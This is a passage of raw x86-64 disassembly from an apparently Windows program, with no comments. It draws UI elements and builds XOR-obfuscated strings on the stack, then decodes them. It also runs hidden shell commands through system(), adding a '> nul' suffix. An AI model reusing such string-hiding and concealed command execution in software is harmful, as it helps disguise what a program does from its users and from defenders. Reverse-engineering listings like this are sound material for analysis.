addss xmm1, dword [0x14015d568]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x7e0]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d4e0]
addss xmm1, dword [0x14015d54c]
call fcn.140001d30
movss xmm0, dword [0x14015d3d4]
mov r9d, edi
movss dword [rsp + 0x30], xmm6
mov r8, rbx
mov dword [rsp + 0x28], r14d
mov rdx, rax
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
movss xmm2, dword [0x14015d4f0]
lea rcx, [rbp + 0x7e8]
movss xmm1, dword [0x14015d550]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
xor eax, eax
mov byte [rbp], al
lea rdx, [0x1404dcaf0]
mov byte [rbp], al
lea rcx, [rbp + 0x1910]
mov byte [rbp], al
movabs rbx, 0xcaed3bae35ecdba0
movabs rax, 0xec52c445795cb18
movabs rsi, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
movabs rdi, 0xcaed3bae5282b2c6
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1910], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1918], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1920], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1910]
mov qword [rbp + 0x1928], rax
xorps xmm0, xmmword [rbp + 0x1920]
movdqa xmmword [rbp + 0x1910], xmm0
call fcn.140032ac0
xor eax, eax
lea rdx, [0x1404dcba9]
mov byte [rbp], al
lea rcx, [rbp + 0x1930]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xec52c4457bfec10
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1930], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1938], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1940], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1930]
mov qword [rbp + 0x1948], rax
xorps xmm0, xmmword [rbp + 0x1940]
movdqa xmmword [rbp + 0x1930], xmm0
call fcn.140032ac0
call fcn.140017370
jmp 0x14004e637
xor r14d, r14d
movabs rdi, 0xcaed3bae5282b2c6
movabs rsi, 0x61aa5c1777dc8d5d
cmp dword [0x1404dddb8], 0xc
jne 0x14006eef8
movss xmm2, dword [0x14015d4a4]
lea rcx, [rbp + 0x7f0]
movss xmm1, dword [0x14015d500]
addss xmm12, dword [0x14015d39c]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
mov edx, 0xff
mov dword [rsp + 0x20], r14d
mov r9d, edx
lea rcx, [rbp + 0x1950]
mov r8d, edx
call fcn.140030420
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1960]
mov edx, 0x64
mov rbx, rax
call fcn.140030420
movss xmm2, dword [0x14015d3e4]
mov r9, rax
xor eax, eax
mov dword [rsp + 0x38], r14d
mov byte [rbp], al
movaps xmm1, xmm7
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61cd327e13bde211
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1970], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1978], rcx
lea rcx, [rbp + 0x1970]
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1980], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1970]
mov qword [rbp + 0x1988], rax
xorps xmm0, xmmword [rbp + 0x1980]
movdqa xmmword [rbp + 0x1970], xmm0
movss xmm0, dword [0x14015d3dc]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14015d3f0]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d9f0
movss xmm2, dword [0x14015d4c0]
lea rcx, [rbp + 0x7f8]
movss xmm1, dword [0x14015d4dc]
call fcn.140001d30
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1990]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.140030420
movabs rbx, 0x33a66fbccd7eb820
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x6c4357118b3fd0e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2260], rax
movabs rax, 0xae884fdc33f6e1e6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2268], rax
movabs rax, 0xc75c926dff5d4665
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2270], rax
movss xmm3, dword [0x14015d3ac]
lea r8, [rbp + 0x10]
mov qword [rbp + 0x10], rbx
lea rdx, [rbp + 0x2260]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2278], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2280], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2288], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2290], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1404ddd98]
unpcklps xmm6, xmm7
mov qword [rbp + 0x2298], rax
vmovdqu ymm0, ymmword [rbp + 0x2280]
vpxor ymm1, ymm0, ymmword [rbp + 0x2260]
vmovss xmm0, dword [0x14015d41c]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x2260], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140044e90
lea rdx, str.Ghosty_Restore_Point
lea rcx, [rbp + 0x22a0]
call fcn.140077640
comiss xmm12, dword [0x14015d55c]
jbe 0x14006eeec
lea rcx, [rbp + 0x22a0]
call fcn.1400428c0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14006e497
xor eax, eax
movabs rcx, 0x4bb267748baf7c08
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61fd5c4b77e68d1e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6020], rax
movabs rax, 0xca823bca52ecb2af
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6028], rax
movabs rax, 0xc70f9231ff2e4618
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6030], rax
movabs rax, 0x33c36fc8cd0db859
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6038], rax
movabs rax, 0xdd7ebb091738115c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6040], rax
movabs rax, 0xdc3b7e87a22a809d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6048], rax
movabs rax, 0x8e2ca9800f5a845f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6050], rax
movabs rax, 0x61b2eeb1a6924a1f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6058], rax
movabs rax, 0x376bc6eadc764984
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6060], rax
movabs rax, 0x56fa25d2a0eed12b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6068], rax
movabs rax, 0x5a3c9bc0bb2bd7d2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6070], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6078], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6080], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6088], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6090], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6098], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60a0], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60a8], rax
movabs rax, 0x8e5fa9e10f2e8403
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60b0], rax
movabs rax, 0x61dceed0a6ff4a74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60b8], rax
movabs rax, 0x3706c68fdc1149e5
lea rdx, [rbp + 0x6020]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60c0], rax
movabs rax, 0x56d425a6a080d14e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60c8], rax
movabs rax, 0x5a3c9ba5bb53d7b7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60d0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x22c0]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x6080]
vpxor ymm1, ymm0, ymmword [rbp + 0x6020]
vmovdqu ymm0, ymmword [rbp + 0x6040]
vmovdqa ymmword [rbp + 0x6020], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x60a0]
vmovdqu ymm0, ymmword [rbp + 0x6060]
vmovdqa ymmword [rbp + 0x6040], ymm1
mov qword [rbp + 0x60d8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x60c0]
vmovdqa ymmword [rbp + 0x6060], ymm1
vzeroupper
call fcn.140077640
mov r8d, 0x5e670
lea rdx, [0x140391060]
lea rcx, [rbp + 0x22c0]
call fcn.140040400
lea rcx, [rbp + 0x22c0]
call fcn.14003ec10
xor eax, eax
movabs rdx, 0x5a3c9ba5bb53d7b7
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61fd5c4b77e68d1e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60e0], rax
movabs rax, 0xca823bca52ecb2af
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60e8], rax
movabs rax, 0xc70f9231ff2e4618
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60f0], rax
movabs rax, 0x33c36fc8cd0db859
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60f8], rax
movabs rax, 0xdd7ebb091738115c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6100], rax
movabs rax, 0xdc3b7e87a22a809d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6108], rax
movabs rax, 0x8e36a98c0f4f845f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6110], rax
movabs rax, 0x61b8eebea69a4a13
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6118], rax
movabs rax, 0x3732c6b9dc674997
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6120], rax
movabs rax, 0x56a725dfa0f3d160
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6128], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6130], rax
movabs rcx, 0x4bb267748baf7c08
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6138], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6140], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6148], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6150], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6158], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6160], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6168], rax
movabs rax, 0x8e5fa9e10f2e8403
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6170], rax
movabs rax, 0x61dceed0a6ff4a74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6178], rax
movabs rax, 0x3706c68fdc1149e5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6180], rax
movabs rax, 0x56d425a6a080d14e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6188], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x60e0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6190], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x22e0]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x6140]
vpxor ymm1, ymm0, ymmword [rbp + 0x60e0]
vmovdqu ymm0, ymmword [rbp + 0x6100]
vmovdqa ymmword [rbp + 0x60e0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6160]
vmovdqu ymm0, ymmword [rbp + 0x6120]
vmovdqa ymmword [rbp + 0x6100], ymm1
mov qword [rbp + 0x6198], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x6180]
vmovdqa ymmword [rbp + 0x6120], ymm1
vzeroupper
call fcn.140077640
mov r8d, 0x8788
lea rdx, [0x140340290]
lea rcx, [rbp + 0x22e0]
call fcn.140040400
lea rcx, [rbp + 0x22e0]
call fcn.14003ec10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61fd5c4b77e68d1e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61a0], rax
movabs rax, 0xca823bca52ecb2af
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61a8], rax
movabs rax, 0xc70f9231ff2e4618
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
lea rdx, [rbp + 0x61a0]
mov qword [rbp + 0x61b0], rax
lea rcx, [rbp + 0x2300]
movabs rax, 0x33c36fc8cd0db859
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61b8], rax
movabs rax, 0xdd7ebb091738115c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61c0], rax
movabs rax, 0xdc3b7e87a22a809d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61c8], rax
movabs rax, 0x8e36a98c0f4f845f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61d0], rax
movabs rax, 0x61aeeeb4a6934a12
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61d8], rax
movabs rax, 0x3728c6bbdc274993
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61e0], rax
movabs rax, 0x56d425d5a0f9d13d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x61e8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57c0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57c8], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57d0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57d8], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57e0], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57e8], rax
movabs rax, 0x8e5fa9e10f2e8403
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57f0], rax
movabs rax, 0x61dceed0a6ff4a74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x57f8], rax
movabs rax, 0x3706c68fdc1149e5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5800], rax
movabs rax, 0x56d425a6a080d14e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x57c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x61a0]
vmovdqu ymm0, ymmword [rbp + 0x61c0]
vmovdqa xmm2, xmmword [rbp + 0x61e0]
vmovdqa ymmword [rbp + 0x61a0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x57e0]
mov qword [rbp + 0x5808], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x5800]
vmovdqa ymmword [rbp + 0x61c0], ymm1
vmovdqa xmmword [rbp + 0x61e0], xmm2
vzeroupper
call fcn.140077640
mov r8d, 0x7180
lea rdx, [0x140389ee0]
lea rcx, [rbp + 0x2300]
call fcn.140040400
lea rcx, [rbp + 0x2300]
call fcn.14003ec10
xor eax, eax
movabs rdx, 0x5a3c9ba5bb53d7b7
mov byte [rbp], al
movabs rcx, 0x4bb267748baf7c08
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61fd5c4b77e68d1e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6200], rax
movabs rax, 0xca823bca52ecb2af
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6208], rax
movabs rax, 0xc70f9231ff2e4618
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6210], rax
movabs rax, 0x33c36fc8cd0db859
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6218], rax
movabs rax, 0xdd7ebb091738115c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6220], rax
movabs rax, 0xdc3b7e87a22a809d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6228], rax
movabs rax, 0x8e2ca9880f6a845f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6230], rax
movabs rax, 0x61b2eeb1a6924a1f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6238], rax
movabs rax, 0x3768c6e2dc654982
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6240], rax
movabs rax, 0x56b125dea0e5d160
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6248], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6250], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6258], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6260], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6268], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6270], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6278], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6280], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6288], rax
movabs rax, 0x8e5fa9e10f2e8403
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6290], rax
movabs rax, 0x61dceed0a6ff4a74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6298], rax
movabs rax, 0x3706c68fdc1149e5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62a0], rax
movabs rax, 0x56d425a6a080d14e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62a8], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x6200]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x62b0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x2320]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x6260]
vpxor ymm1, ymm0, ymmword [rbp + 0x6200]
vmovdqu ymm0, ymmword [rbp + 0x6220]
vmovdqa ymmword [rbp + 0x6200], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6280]
vmovdqu ymm0, ymmword [rbp + 0x6240]
vmovdqa ymmword [rbp + 0x6220], ymm1
mov qword [rbp + 0x62b8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x62a0]
vmovdqa ymmword [rbp + 0x6240], ymm1
vzeroupper
call fcn.140077640
mov r8d, 0x296b0
lea rdx, [0x14041c2f0]
lea rcx, [rbp + 0x2320]
call fcn.140040400
lea rcx, [rbp + 0x2320]
call fcn.14003ec10
cmp byte [0x1404de283], 0
je 0x14004f814
mov edx, 4
lea rcx, [rbp + 0x2340]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x2360]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x45a4]
xor eax, eax
lea rcx, [rbp + 0x23]
mov byte [rbp + 0x23], al
call fcn.140070010
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004f515
mov r8d, r14d
cmp r15d, 2
jl 0x14004f4db
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004f3e0
cmp r8d, 0x33
jge 0x14004f515
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004f4e1
mov r8, rdi
lea rcx, [rbp + 0x2380]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x23a0]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x23c0]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x23e0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x23e0]
call fcn.140077840
lea rcx, [rbp + 0x23c0]
call fcn.140077840
lea rcx, [rbp + 0x23a0]
call fcn.140077840
lea rcx, [rbp + 0x2380]
call fcn.140077840
lea rcx, [rbp + 0x2360]
call fcn.140077840
lea rcx, [rbp + 0x2340]
call fcn.140077840
mov edx, 4
lea rcx, [rbp + 0x2400]
call fcn.140042780
mov edx, 2
lea rcx, [rbp + 0x2420]
mov rbx, rax
call fcn.140042780
mov rdi, rax
lea rdx, [rbp + 0x45d7]
xor eax, eax
lea rcx, [rbp + 0x24]
mov byte [rbp + 0x24], al
call fcn.140070050
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004f764
mov r8d, r14d
cmp r15d, 2
jl 0x14004f71c
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004f621
cmp r8d, 0x33
jge 0x14004f764
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004f730
mov r8, rdi
lea rcx, [rbp + 0x2440]
mov rdx, r10
call fcn.140078410
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x2460]
call fcn.140078470
mov r8, rbx
lea rcx, [rbp + 0x2480]
mov rdx, rax
call fcn.140078550
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x24a0]
call fcn.140078470
mov rcx, rax
call fcn.140077710
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x24a0]
call fcn.140077840
lea rcx, [rbp + 0x2480]
call fcn.140077840
lea rcx, [rbp + 0x2460]
call fcn.140077840
lea rcx, [rbp + 0x2440]
call fcn.140077840
lea rcx, [rbp + 0x2420]
call fcn.140077840
lea rcx, [rbp + 0x2400]
call fcn.140077840
mov byte [0x1404de283], 0
cmp byte [0x1404de287], 0
je 0x14004fcc4
mov edx, 4
